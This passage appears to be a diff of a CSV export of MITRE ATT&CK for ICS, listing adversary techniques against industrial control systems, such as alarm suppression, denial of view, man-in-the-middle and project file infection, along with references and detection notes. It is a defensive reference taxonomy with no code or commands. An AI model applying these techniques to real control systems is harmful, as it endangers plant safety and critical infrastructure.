'https://collaborate.mitre.org/attackics/index.php/Technique/T0815', 'source_name': 'mitre-ics-attack', 'external_id': 'T0815'}, {'description': 'Corero. (n.d.). Industrial Control System (ICS) Security. Retrieved November 4, 2019.', 'source_name': 'Reference - Corero', 'url': 'https://www.corero.com/resources/files/whitepapers/cns%20whitepaper%20ics.pdf'}, {'description': 'Michael J. Assante and Robert M. Lee. (n.d.). The Industrial Control System Cyber Kill Chain. Retrieved November 4, 2019.', 'source_name': 'Reference - SANS - 201510', 'url': 'https://www.sans.org/reading-room/whitepapers/ICS/industrial-control-system-cyber-kill-chain-36297'}, {'description': 'Tyson Macaulay. (n.d.). RIoT Control: Understanding and Managing Risks and the Internet of Things. Retrieved November 4, 2019.', 'source_name': 'Reference - RIoT'}]","[{'kill_chain_name': 'mitre-ics-attack', 'phase_name': 'impact-ics'}]",,,https://collaborate.mitre.org/attackics/index.php/Technique/T0815,mitre-ics-attack,T0815,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,Denial of View,"Adversaries may cause a denial of view in attempt to disrupt and prevent operator oversight on the status of an ICS environment. This may manifest itself as a temporary communication failure between a device and its control source, where the interface recovers and becomes available once the interference ceases. (Citation: Reference - Corero) (Citation: Reference - SANS - 201510) (Citation: Reference - RIoT) +*""Random"" Attack or Failure - The adversary may load malicious firmware onto multiple field devices. Execution of an attack and the time it occurs is generated by a pseudo-random number generator. -An adversary may attempt to deny operator visibility by preventing them from receiving status and reporting messages. Denying this view may temporarily block and prevent operators from noticing a change in state or anomalous behavior. The environment's data and processes may still be operational, but functioning in an unintended or adversarial manner. +*A Field Device Worm - The adversary may choose to identify all field devices of the same model, with the end goal of performing a device-wide compromise. -In the Maroochy attack, the adversary was able to temporarily shut an investigator out of the network, preventing them from viewing the state of the system.",attack-pattern--56ddc820-6cfb-407f-850b-52c035d123ac,attack-pattern,['impact-ics'],2020-05-21T17:43:26.506Z,2020-05-21T17:43:26.506Z,,,,,,['Windows'],,,,,,,,,,,,,, -"[{'url': 'https://collaborate.mitre.org/attackics/index.php/Technique/T0818', 'source_name': 'mitre-ics-attack', 'external_id': 'T0818'}]","[{'kill_chain_name': 'mitre-ics-attack', 'phase_name': 'initial-access-ics'}]",,,https://collaborate.mitre.org/attackics/index.php/Technique/T0818,mitre-ics-attack,T0818,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,Engineering Workstation Compromise,"Adversaries may compromise and gain control of an engineering workstation for Initial Access into the control system environment. Access to an engineering workstation may occur through or physical means, such as a Valid Accounts with privileged access or infection by removable media. A dual-homed engineering workstation may allow the adversary access into multiple networks. For example, unsegregated process control, safety system, or information system networks. An Engineering Workstation is designed as a reliable computing platform that configures, maintains, and diagnoses control system equipment and applications. Compromise of an engineering workstation may provide access to, and control of, other control system applications and equipment. In the Maroochy attack, the adversary utilized a computer, possibly stolen, with proprietary engineering software to communicate with a wastewater system.",attack-pattern--d614a9cf-18eb-4800-81e4-ab8ddf0baa73,attack-pattern,['initial-access-ics'],2021-04-12T16:17:26.506Z,2020-05-21T17:43:26.506Z,,"['File monitoring', 'API monitoring', 'Windows event logs']",['Joe Slowik - Dragos'],,,['Engineering Workstation'],,,,,,,,,,,,,, -"[{'url': 'https://collaborate.mitre.org/attackics/index.php/Technique/T0866', 'source_name': 'mitre-ics-attack', 'external_id': 'T0866'}, {'description': 'Enterprise ATT&CK. (n.d.). Exploitation of Remote Services. Retrieved October 27, 2019.', 'source_name': 'EAttack Exploitation of Remote Services', 'url': 'https://attack.mitre.org/techniques/T1210/'}, {'description': 'Joe Slowik. (2019, April 10). Implications of IT Ransomware for ICS Environments. Retrieved October 27, 2019.', 'source_name': 'Reference - Dragos - 201910', 'url': 'https://dragos.com/blog/industry-news/implications-of-it-ransomware-for-ics-environments/'}]","[{'kill_chain_name': 'mitre-ics-attack', 'phase_name': 'lateral-movement-ics'}, {'kill_chain_name': 'mitre-ics-attack', 'phase_name': 'initial-access-ics'}]",,,https://collaborate.mitre.org/attackics/index.php/Technique/T0866,mitre-ics-attack,T0866,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,Exploitation of Remote Services,"Adversaries may exploit a software vulnerability to take advantage of a programming error in a program, service, or within the operating system software or kernel itself to enable remote service abuse. A common goal for post-compromise exploitation of remote services is for lateral movement to enable access to a remote system. (Citation: EAttack Exploitation of Remote Services) +*Attack Other Cards on the Field Device - Although it is not the most important module in a field device, the Ethernet card is most accessible to the adversary and malware. Compromise of the Ethernet card may provide a more direct route to compromising other modules, such as the CPU module.","['persistence-ics', 'impair-process-control']",https://collaborate.mitre.org/attackics/index.php/Technique/T0839,mitre-ics-attack,T0839,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],,"['Firmware: Firmware Modification', 'Network Traffic: Network Traffic Content', 'Network Traffic: Network Traffic Flow']",,,,,"['Field Controller/RTU/PLC/IED', 'Safety Instrumented System/Protection Relay']",,,,,,,,, +"[{'kill_chain_name': 'mitre-ics-attack', 'phase_name': 'discovery-ics'}]","[{'source_name': 'mitre-ics-attack', 'url': 'https://collaborate.mitre.org/attackics/index.php/Technique/T0842', 'external_id': 'T0842'}, {'source_name': 'EAttack Network Sniffing', 'description': 'Enterprise ATT&CK. (2018, January 11). Network Sniffing. Retrieved May 17, 2018.', 'url': 'https://attack.mitre.org/wiki/Technique/T1040'}]",,attack-pattern,attack-pattern--38213338-1aab-479d-949b-c81b66ccca5c,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2020-05-21T17:43:26.506Z,2021-10-08T15:25:32.143Z,Network Sniffing,"Network sniffing is the practice of using a network interface on a computer system to monitor or capture information (Citation: EAttack Network Sniffing) regardless of whether it is the specified destination for the information. -ICS asset owners and operators have been affected by ransomware (or disruptive malware masquerading as ransomware) migrating from enterprise IT to ICS environments: WannaCry, NotPetya, and BadRabbit. In each of these cases, self-propagating (“wormable”) malware initially infected IT networks, but through exploit (particularly the SMBv1-targeting MS17-010 vulnerability) spread to industrial networks, producing significant impacts. (Citation: Reference - Dragos - 201910)",attack-pattern--85a45294-08f1-4539-bf00-7da08aa7b0ee,attack-pattern,"['lateral-movement-ics', 'initial-access-ics']",2021-04-12T19:17:26.506Z,2020-05-21T17:43:26.506Z,,"['Windows error reporting', 'Process monitoring', 'File monitoring']",,,,"['Human-Machine Interface', 'Data Historian', 'Engineering Workstation']",,,,,,,,,,,,,, -"[{'url': 'https://collaborate.mitre.org/attackics/index.php/Technique/T824', 'source_name': 'mitre-ics-attack', 'external_id': 'T0824'}]","[{'kill_chain_name': 'mitre-ics-attack', 'phase_name': 'discovery-ics'}]",,,https://collaborate.mitre.org/attackics/index.php/Technique/T824,mitre-ics-attack,T0824,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,I/O Module Discovery,"Adversaries may use input/output (I/O) module discovery to gather key information about a control system device. An I/O module is a device that allows the control system device to either receive or send signals to other devices. These signals can be analog or digital, and may support a number of different protocols. Devices are often able to use attachable I/O modules to increase the number of inputs and outputs that it can utilize. An adversary with access to a device can use native device functions to enumerate I/O modules that are connected to the device. Information regarding the I/O modules can aid the adversary in understanding related control processes.",attack-pattern--e2994b6a-122b-4043-b654-7411c5198ec0,attack-pattern,['discovery-ics'],2020-05-21T17:43:26.506Z,2020-05-21T17:43:26.506Z,,"['Windows registry', 'Process monitoring', 'Process command-line parameters', 'Binary file metadata']",,,,"['Windows', 'Field Controller/RTU/PLC/IED']",,,,,,,,True,,,,,, -"[{'url': 'https://collaborate.mitre.org/attackics/index.php/Technique/T0827', 'source_name': 'mitre-ics-attack', 'external_id': 'T0827'}, {'description': 'Corero. (n.d.). Industrial Control System (ICS) Security. Retrieved November 4, 2019.', 'source_name': 'Reference - Corero', 'url': 'https://www.corero.com/resources/files/whitepapers/cns%20whitepaper%20ics.pdf'}, {'description': 'Michael J. Assante and Robert M. Lee. (n.d.). The Industrial Control System Cyber Kill Chain. Retrieved November 4, 2019.', 'source_name': 'Reference - SANS - 201510', 'url': 'https://www.sans.org/reading-room/whitepapers/ICS/industrial-control-system-cyber-kill-chain-36297'}, {'description': 'Tyson Macaulay. (n.d.). RIoT Control: Understanding and Managing Risks and the Internet of Things. Retrieved November 4, 2019.', 'source_name': 'Reference - RIoT', 'url': 'https://books.google.com/books?id=oXIYBAAAQBAJ&pg=PA249&lpg=PA249&dq=loss+denial+manipulation+of+view&source=bl&ots=dV1uQ8IUff&sig=ACfU3U2NIwGjhg051D_Ytw6npyEk9xcf4w&hl=en&sa=X&ved=2ahUKEwj2wJ7y4tDlAhVmplkKHSTaDnQQ6AEwAHoECAgQAQ#v=onepage&q=loss%20denial%20manipulation%20of%20view&f=false'}, {'description': 'Bundesamt für Sicherheit in der Informationstechnik (BSI) (German Federal Office for Information Security). (2014). Die Lage der IT-Sicherheit in Deutschland 2014 (The State of IT Security in Germany). Retrieved October 30, 2019.', 'source_name': 'BSI IT Security Situation 2014', 'url': 'https://www.bsi.bund.de/SharedDocs/Downloads/EN/BSI/Publications/Securitysituation/IT-Security-Situation-in-Germany-2014.pdf?__blob=publicationFile&v=3'}]","[{'kill_chain_name': 'mitre-ics-attack', 'phase_name': 'impact-ics'}]",,,https://collaborate.mitre.org/attackics/index.php/Technique/T0827,mitre-ics-attack,T0827,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,Loss of Control,"Adversaries may seek to achieve a sustained loss of control or a runaway condition in which operators cannot issue any commands even if the malicious interference has subsided.(Citation: Reference - Corero)(Citation: Reference - SANS - 201510)(Citation: Reference - RIoT) The German Federal Office for Information Security (BSI) reported a targeted attack on a steel mill in its 2014 IT Security Report.(Citation: BSI IT Security Situation 2014) These targeted attacks affected industrial operations and resulted in breakdowns of control system components and even entire installations. As a result of these breakdowns, massive impact resulted in damage and unsafe conditions from the uncontrolled shutdown of a blast furnace.",attack-pattern--a81696ef-c106-482c-8f80-59c30f2569fb,attack-pattern,['impact-ics'],2020-05-21T17:43:26.506Z,2020-05-21T17:43:26.506Z,,,['Dragos Threat Intelligence'],,,['Windows'],,,,,,,,,,,,,, -"[{'url': 'https://collaborate.mitre.org/attackics/index.php/Technique/T0830', 'source_name': 'mitre-ics-attack', 'external_id': 'T0830'}, {'description': 'Bonnie Zhu, Anthony Joseph, Shankar Sastry. (2011). A Taxonomy of Cyber Attacks on SCADA Systems. Retrieved January 12, 2018.', 'source_name': 'Research - Research - Taxonomy Cyber Attacks on SCADA', 'url': 'http://ieeexplore.ieee.org/stamp/stamp.jsp?tp=&arnumber=6142258'}, {'description': 'Gabriel Sanchez. (2017, October). Man-In-The-Middle Attack Against Modbus TCP Illustrated with Wireshark. Retrieved January 5, 2020.', 'source_name': 'Reference - SANS - 201710', 'url': 'https://www.sans.org/reading-room/whitepapers/ICS/man-in-the-middle-attack-modbus-tcp-illustrated-wireshark-38095'}]","[{'kill_chain_name': 'mitre-ics-attack', 'phase_name': 'collection-ics'}]",,,https://collaborate.mitre.org/attackics/index.php/Technique/T0830,mitre-ics-attack,T0830,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,Man in the Middle,"Adversaries with privileged network access may seek to modify network traffic in real time using man-in-the-middle (MITM) attacks. (Citation: Reference - SANS - 201710) This type of attack allows the adversary to intercept traffic to and/or from a particular device on the network. If a MITM attack is established, then the adversary has the ability to block, log, modify, or inject traffic into the communication stream. There are several ways to accomplish this attack, but some of the most-common are Address Resolution Protocol (ARP) poisoning and the use of a proxy. (Citation: Research - Research - Taxonomy Cyber Attacks on SCADA) - -A MITM attack may allow an adversary to perform the following attacks: - -Block Reporting Message, Spoof Reporting Message, Modify Parameter, Unauthorized Command Message",attack-pattern--9a505987-ab05-4f46-a9a6-6441442eec3b,attack-pattern,['collection-ics'],2021-04-12T15:35:26.506Z,2020-05-21T17:43:26.506Z,,"['Network device logs', 'Netflow/Enclave netflow', 'Packet capture']",['Conrad Layne - GE Digital'],,,"['Control Server', 'Field Controller/RTU/PLC/IED', 'Human-Machine Interface']",,,,,,,,,,,,,, -"[{'url': 'https://collaborate.mitre.org/attackics/index.php/Technique/T0838', 'source_name': 'mitre-ics-attack', 'external_id': 'T0838'}, {'description': 'Marshall Abrams. (2008, July 23). Malicious Control System Cyber Security Attack Case Study– Maroochy Water Services, Australia. Retrieved March 27, 2018.', 'source_name': 'Maroochy - MITRE - 200808', 'url': 'https://www.mitre.org/sites/default/files/pdf/08%201145.pdf'}, {'description': 'Jos Wetzels, Marina Krotofil. (2019). A Diet of Poisoned Fruit: Designing Implants & OT Payloads for ICS Embedded Devices. Retrieved November 1, 2019.', 'source_name': 'References - Secura - 2019', 'url': 'https://troopers.de/downloads/troopers19/TROOPERS19%20NGI%20IoT%20diet%20poisoned%20fruit.pdf'}]","[{'kill_chain_name': 'mitre-ics-attack', 'phase_name': 'inhibit-response-function'}]",,,https://collaborate.mitre.org/attackics/index.php/Technique/T0838,mitre-ics-attack,T0838,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,Modify Alarm Settings,"Adversaries may modify alarm settings to prevent alerts that may inform operators of their presence or to prevent responses to dangerous and unintended scenarios. Reporting messages are a standard part of data acquisition in control systems. Reporting messages are used as a way to transmit system state information and acknowledgements that specific actions have occurred. These messages provide vital information for the management of a physical process, and keep operators, engineers, and administrators aware of the state of system devices and physical processes. - -If an adversary is able to change the reporting settings, certain events could be prevented from being reported. This type of modification can also prevent operators or devices from performing actions to keep the system in a safe state. If critical reporting messages cannot trigger these actions then a Impact could occur. +An adversary may attempt to sniff the traffic to gain information about the target. This information can vary in the level of importance. Relatively unimportant information is general communications to and from machines. Relatively important information would be login information. User credentials may be sent over an unencrypted protocol, such as [https://tools.ietf.org/html/rfc854 Telnet], that can be captured and obtained through network packet analysis. Network sniffing can be a way to discover information for Control Device Identification. -In ICS environments, the adversary may have to use Alarm Suppression or contend with multiple alarms and/or alarm propagation to achieve a specific goal to evade detection or prevent intended responses from occurring. (Citation: References - Secura - 2019) Methods of suppression often rely on modification of alarm settings, such as modifying in memory code to fixed values or tampering with assembly level instruction code. +In addition, ARP and Domain Name Service (DNS) poisoning can be used to capture credentials to websites, proxies, and internal systems by redirecting traffic to an adversary. -In the Maroochy Attack, the adversary disabled alarms at four pumping stations. This caused alarms to not be reported to the central computer. (Citation: Maroochy - MITRE - 200808)",attack-pattern--e5de767e-f513-41cd-aa15-33f6ce5fbf92,attack-pattern,['inhibit-response-function'],2020-05-21T17:43:26.506Z,2020-05-21T17:43:26.506Z,,"['Sequential event recorder', 'Controller parameters', 'Network protocol analysis', 'Packet capture']",,,,"['Human-Machine Interface', 'Control Server', 'Safety Instrumented System/Protection Relay', 'Field Controller/RTU/PLC/IED']",,,,,,,,,,,,,, -"[{'url': 'https://collaborate.mitre.org/attackics/index.php/Technique/T0861', 'source_name': 'mitre-ics-attack', 'external_id': 'T0861'}, {'description': 'Benjamin Green. (n.d.). On the Significance of Process Comprehension for Conducting Targeted ICS Attacks. Retrieved November 1, 2019.', 'source_name': 'References - tags process comprehension', 'url': 'http://www.research.lancs.ac.uk/portal/files/196578358/sample%20sigconf.pdf'}]","[{'kill_chain_name': 'mitre-ics-attack', 'phase_name': 'collection-ics'}]",,,https://collaborate.mitre.org/attackics/index.php/Technique/T0861,mitre-ics-attack,T0861,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,Point & Tag Identification,"Adversaries may collect point and tag values to gain a more comprehensive understanding of the process environment. Points may be values such as inputs, memory locations, outputs or other process specific variables. (Citation: References - tags process comprehension) Tags are the identifiers given to points for operator convenience. +Detection: Detecting the events leading up to sniffing network traffic may be the best method of detection. From the host level, an adversary would likely need to perform a man-in-the-middle attack against other devices on a wired network in order to capture traffic that was not to or from the current compromised system. This change in the flow of information is detectable at the enclave network level. Monitor for ARP spoofing and gratuitous ARP broadcasts. Detecting compromised network devices is a bit more challenging. Auditing administrator logins, configuration changes, and device images is required to detect malicious changes.",['discovery-ics'],https://collaborate.mitre.org/attackics/index.php/Technique/T0842,mitre-ics-attack,T0842,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],,"['Command: Command Execution', 'Process: Process Creation']",,,,,['Field Controller/RTU/PLC/IED'],,,,,,,,, +"[{'kill_chain_name': 'mitre-ics-attack', 'phase_name': 'persistence-ics'}]","[{'source_name': 'mitre-ics-attack', 'url': 'https://collaborate.mitre.org/attackics/index.php/Technique/T0873', 'external_id': 'T0873'}, {'source_name': 'Stuxnet - Symantec - 201102', 'description': 'Nicolas Falliere, Liam O Murchu, Eric Chien. (2011, February). W32.Stuxnet Dossier (Version 1.4). Retrieved September 22, 2017.', 'url': 'https://www.symantec.com/content/en/us/enterprise/media/security%20response/whitepapers/w32%20stuxnet%20dossier.pdf'}, {'source_name': 'References - beckhoff project files', 'description': 'Beckhoff. (n.d.). TwinCAT 3 Source Control: Project Files. Retrieved November 21, 2019.', 'url': 'https://infosys.beckhoff.com/english.php?content=../content/1033/tc3%20sourcecontrol/18014398915785483.html&id='}, {'source_name': 'References - plcdev siemens', 'description': ""PLCdev. (n.d.). Siemens SIMATIC Step 7 Programmer's Handbook. Retrieved November 21, 2019."", 'url': 'http://www.plcdev.com/book/export/html/373'}]",,attack-pattern,attack-pattern--e72425f8-9ae6-41d3-bfdb-e1b865e60722,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2020-05-21T17:43:26.506Z,2021-10-08T15:25:32.143Z,Project File Infection,"Adversaries may attempt to infect project files with malicious code. These project files may consist of objects, program organization units, variables such as tags, documentation, and other configurations needed for PLC programs to function. (Citation: References - beckhoff project files) Using built in functions of the engineering software, adversaries may be able to download an infected program to a PLC in the operating environment enabling further execution and persistence techniques. (Citation: References - plcdev siemens) -Collecting such tags provides valuable context to environmental points and enables an adversary to map inputs, outputs, and other values to their control processes. Understanding the points being collected may inform an adversary on which processes and values to keep track of over the course of an operation.",attack-pattern--25852363-5968-4673-b81d-341d5ed90bd1,attack-pattern,['collection-ics'],2020-05-21T17:43:26.506Z,2020-05-21T17:43:26.506Z,,"['Network protocol analysis', 'Packet capture', 'Netflow/Enclave netflow']",['Jos Wetzels - Midnight Blue'],,,"['Data Historian', 'Control Server', 'Human-Machine Interface']",,,,,,,,,,,,,, -"[{'url': 'https://collaborate.mitre.org/attackics/index.php/Technique/T850', 'source_name': 'mitre-ics-attack', 'external_id': 'T0850'}]","[{'kill_chain_name': 'mitre-ics-attack', 'phase_name': 'collection-ics'}]",,,https://collaborate.mitre.org/attackics/index.php/Technique/T850,mitre-ics-attack,T0850,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,Role Identification,"Adversaries may perform role identification of devices involved with physical processes of interest in a target control system. Control systems devices often work in concert to control a physical process. Each device can have one or more roles that it performs within that control process. By collecting this role-based data, an adversary can construct a more targeted attack. +Adversaries may export their own code into project files with conditions to execute at specific intervals. (Citation: Stuxnet - Symantec - 201102) Malicious programs allow adversaries control of all aspects of the process enabled by the PLC. Once the project file is downloaded to a PLC the workstation device may be disconnected with the infected project file still executing. (Citation: References - plcdev siemens)",['persistence-ics'],https://collaborate.mitre.org/attackics/index.php/Technique/T0873,mitre-ics-attack,T0873,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],,['File: File Modification'],,,,,"['Engineering Workstation', 'Human-Machine Interface']",,,,,,,,, +"[{'kill_chain_name': 'mitre-ics-attack', 'phase_name': 'execution-ics'}]","[{'source_name': 'mitre-ics-attack', 'url': 'https://collaborate.mitre.org/attackics/index.php/Technique/T0853', 'external_id': 'T0853'}]",,attack-pattern,attack-pattern--2dc2b567-8821-49f9-9045-8740f3d0b958,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2020-05-21T17:43:26.506Z,2021-10-08T15:25:32.143Z,Scripting,"Adversaries may use scripting languages to execute arbitrary code in the form of a pre-written script or in the form of user-supplied code to an interpreter. Scripting languages are programming languages that differ from compiled languages, in that scripting languages use an interpreter, instead of a compiler. These interpreters read and compile part of the source code just before it is executed, as opposed to compilers, which compile each and every line of code to an executable file. Scripting allows software developers to run their code on any system where the interpreter exists. This way, they can distribute one package, instead of precompiling executables for many different systems. Scripting languages, such as Python, have their interpreters shipped as a default with many Linux distributions. -For example, a power generation plant may have unique devices such as one that monitors power output of a generator and another that controls the speed of a turbine. Examining devices roles allows the adversary to observe how the two devices work together to monitor and control a physical process. Understanding the role of a target device can inform the adversary's decision on what action to take, in order to cause Impact and influence or disrupt the integrity of operations. Furthermore, an adversary may be able to capture control system protocol traffic. By studying this traffic, the adversary may be able to determine which devices are outstations, and which are masters. Understanding of master devices and their role within control processes can enable the use of Rogue Master Device",attack-pattern--23270e54-1d68-4c3b-b763-b25607bcef80,attack-pattern,['collection-ics'],2020-05-21T17:43:26.506Z,2020-05-21T17:43:26.506Z,,"['Network protocol analysis', 'Packet capture']",,,,"['Windows', 'Human-Machine Interface', 'Control Server', 'Data Historian', 'Field Controller/RTU/PLC/IED']",,,,,,,,True,,,,,, -"[{'url': 'https://collaborate.mitre.org/attackics/index.php/Technique/T0847', 'source_name': 'mitre-ics-attack', 'external_id': 'T0847'}, {'description': 'Kernkraftwerk Gundremmingen. (2016, April 25). Detektion von Büro-Schadsoftware an mehreren Rechnern. Retrieved October 14, 2019.', 'source_name': 'KGG-Company-Site', 'url': 'https://www.kkw-gundremmingen.de/presse.php?id=571'}, {'description': ""Catalin Cimpanu. (2016, April 26). Malware Shuts Down German Nuclear Power Plant on Chernobyl's 30th Anniversary. Retrieved October 14, 2019."", 'source_name': 'KGG-Softpedia', 'url': 'https://news.softpedia.com/news/on-chernobyl-s-30th-anniversary-malware-shuts-down-german-nuclear-power-plant-503429.shtml'}, {'description': 'Christoph Steitz, Eric Auchard. (2016, April 26). German nuclear plant infected with computer viruses, operator says. Retrieved October 14, 2019.', 'source_name': 'KGG-Reuters', 'url': 'https://www.reuters.com/article/us-nuclearpower-cyber-germany/german-nuclear-plant-infected-with-computer-viruses-operator-says-idUSKCN0XN2OS'}, {'description': 'Peter Dockrill. (2016, April 28). Multiple Computer Viruses Have Been Discovered in This German Nuclear Plant. Retrieved October 14, 2019.', 'source_name': 'KGG-Science-Alert', 'url': 'https://www.sciencealert.com/multiple-computer-viruses-have-been-discovered-in-this-german-nuclear-plant'}, {'description': 'ESET. (2016, April 28). Malware found at a German nuclear power plant. Retrieved October 14, 2019.', 'source_name': 'KGG-ESET', 'url': 'https://www.welivesecurity.com/2016/04/28/malware-found-german-nuclear-power-plant/'}, {'description': 'Lee Mathews. (2016, April 27). German nuclear plant found riddled with Conficker, other viruses. Retrieved October 14, 2019.', 'source_name': 'KGG-Geek', 'url': 'https://www.geek.com/apps/german-nuclear-plant-found-riddled-with-conficker-other-viruses-1653415/'}, {'description': 'Trend Micro. (2016, April 27). Malware Discovered in German Nuclear Power Plant. Retrieved October 14, 2019.', 'source_name': 'KGG-Trend Micro', 'url': 'https://www.trendmicro.com/vinfo/us/security/news/cyber-attacks/malware-discovered-in-german-nuclear-power-plant'}, {'description': 'BBC. (2016, April 28). German nuclear plant hit by computer viruses. Retrieved October 14, 2019.', 'source_name': 'KGG-BBC', 'url': 'https://www.bbc.com/news/technology-36158606'}, {'description': 'Sean Gallagher. (2016, April 27). German nuclear plant’s fuel rod system swarming with old malware. Retrieved October 14, 2019.', 'source_name': 'KGG-Ars', 'url': 'https://arstechnica.com/information-technology/2016/04/german-nuclear-plants-fuel-rod-system-swarming-with-old-malware/'}, {'description': 'Dark Reading Staff. (2016, April 28). German Nuclear Power Plant Infected With Malware. Retrieved October 14, 2019.', 'source_name': 'KGG-Dark', 'url': 'https://www.darkreading.com/endpoint/german-nuclear-power-plant-infected-with-malware/d/d-id/1325298'}]","[{'kill_chain_name': 'mitre-ics-attack', 'phase_name': 'initial-access-ics'}]",,,https://collaborate.mitre.org/attackics/index.php/Technique/T0847,mitre-ics-attack,T0847,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,Replication Through Removable Media,"Adversaries may move onto systems, such as those separated from the enterprise network, by copying malware to removable media which is inserted into the control systems environment. The adversary may rely on unknowing trusted third parties, such as suppliers or contractors with access privileges, to introduce the removable media. This technique enables initial access to target devices that never connect to untrusted networks, but are physically accessible. +In addition to being a useful tool for developers and administrators, scripting language interpreters may be abused by the adversary to execute code in the target environment. Due to the nature of scripting languages, this allows for weaponized code to be deployed to a target easily, and leaves open the possibility of on-the-fly scripting to perform a task.",['execution-ics'],https://collaborate.mitre.org/attackics/index.php/Technique/T0853,mitre-ics-attack,T0853,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],,"['Command: Command Execution', 'Module: Module Load', 'Process: Process Creation', 'Script: Script Execution']",,,,,['Engineering Workstation'],,,,,,,,, +"[{'kill_chain_name': 'mitre-ics-attack', 'phase_name': 'command-and-control-ics'}]","[{'source_name': 'mitre-ics-attack', 'url': 'https://collaborate.mitre.org/attackics/index.php/Technique/T0869', 'external_id': 'T0869'}]",,attack-pattern,attack-pattern--e076cca8-2f08-45c9-aff7-ea5ac798b387,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2020-05-21T17:43:26.506Z,2021-10-08T15:25:32.143Z,Standard Application Layer Protocol,"Adversaries may establish command and control capabilities over commonly used application layer protocols such as HTTP(S), OPC, RDP, telnet, DNP3, and modbus. These protocols may be used to disguise adversary actions as benign network traffic. Standard protocols may be seen on their associated port or in some cases over a non-standard port. -Operators of the German nuclear power plant, Gundremmingen, discovered malware on a facility computer not connected to the internet. (Citation: KGG-Company-Site) (Citation: KGG-Trend Micro) The malware included Conficker and W32.Ramnit, which were also found on eighteen removable disk drives in the facility. (Citation: KGG-Reuters) (Citation: KGG-Softpedia) (Citation: KGG-Science-Alert) (Citation: KGG-Geek) (Citation: KGG-Ars) (Citation: KGG-Dark) The plant has since checked for infection and cleaned up more than 1,000 computers. (Citation: KGG-BBC) An ESET researcher commented that internet disconnection does not guarantee system safety from infection or payload execution. (Citation: KGG-ESET)",attack-pattern--c267bbee-bb59-47fe-85e0-3ed210337c21,attack-pattern,['initial-access-ics'],2020-05-21T17:43:26.506Z,2020-05-21T17:43:26.506Z,,"['File monitoring', 'Data loss prevention']",,,,"['Human-Machine Interface', 'Data Historian', 'Control Server']",,,,,,,,,,,,,, -"[{'url': 'https://collaborate.mitre.org/attackics/index.php/Technique/T0853', 'source_name': 'mitre-ics-attack', 'external_id': 'T0853'}]","[{'kill_chain_name': 'mitre-ics-attack', 'phase_name': 'execution-ics'}]",,,https://collaborate.mitre.org/attackics/index.php/Technique/T0853,mitre-ics-attack,T0853,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,Scripting,"Adversaries may use scripting languages to execute arbitrary code in the form of a pre-written script or in the form of user-supplied code to an interpreter. Scripting languages are programming languages that differ from compiled languages, in that scripting languages use an interpreter, instead of a compiler. These interpreters read and compile part of the source code just before it is executed, as opposed to compilers, which compile each and every line of code to an executable file. Scripting allows software developers to run their code on any system where the interpreter exists. This way, they can distribute one package, instead of precompiling executables for many different systems. Scripting languages, such as Python, have their interpreters shipped as a default with many Linux distributions. +Adversaries may use these protocols to reach out of the network for command and control, or in some cases to other infected devices within the network.",['command-and-control-ics'],https://collaborate.mitre.org/attackics/index.php/Technique/T0869,mitre-ics-attack,T0869,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],,"['Network Traffic: Network Traffic Flow', 'Network Traffic: Network Traffic Content']",,,,,"['Human-Machine Interface', 'Control Server', 'Data Historian', 'Engineering Workstation']",,,,,,,,, +"[{'kill_chain_name': 'mitre-ics-attack', 'phase_name': 'inhibit-response-function'}]","[{'source_name': 'mitre-ics-attack', 'url': 'https://collaborate.mitre.org/attackics/index.php/Technique/T0804', 'external_id': 'T0804'}, {'source_name': 'Research - Research - Taxonomy Cyber Attacks on SCADA', 'description': 'Bonnie Zhu, Anthony Joseph, Shankar Sastry. (2011). A Taxonomy of Cyber Attacks on SCADA Systems. Retrieved January 12, 2018.', 'url': 'http://ieeexplore.ieee.org/stamp/stamp.jsp?tp=&arnumber=6142258'}, {'source_name': 'Ukraine15 - EISAC - 201603', 'description': 'Electricity Information Sharing and Analysis Center; SANS Industrial Control Systems. (2016, March 18). Analysis of the Cyber Attack on the Ukranian Power Grid: Defense Use Case. Retrieved March 27, 2018.', 'url': 'https://ics.sans.org/media/E-ISAC%20SANS%20Ukraine%20DUC%205.pdf'}]",,attack-pattern,attack-pattern--3f1f4ccb-9be2-4ff8-8f69-dd972221169b,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2020-05-21T17:43:26.506Z,2021-10-08T13:04:01.612Z,Block Reporting Message,"Adversaries may block or prevent a reporting message from reaching its intended target. In control systems, reporting messages contain telemetry data (e.g., I/O values) pertaining to the current state of equipment and the industrial process. By blocking these reporting messages, an adversary can potentially hide their actions from an operator. Blocking reporting messages in control systems that manage physical processes may contribute to system impact, causing inhibition of a response function. A control system may not be able to respond in a proper or timely manner to an event, such as a dangerous fault, if its corresponding reporting message is blocked.(Citation: 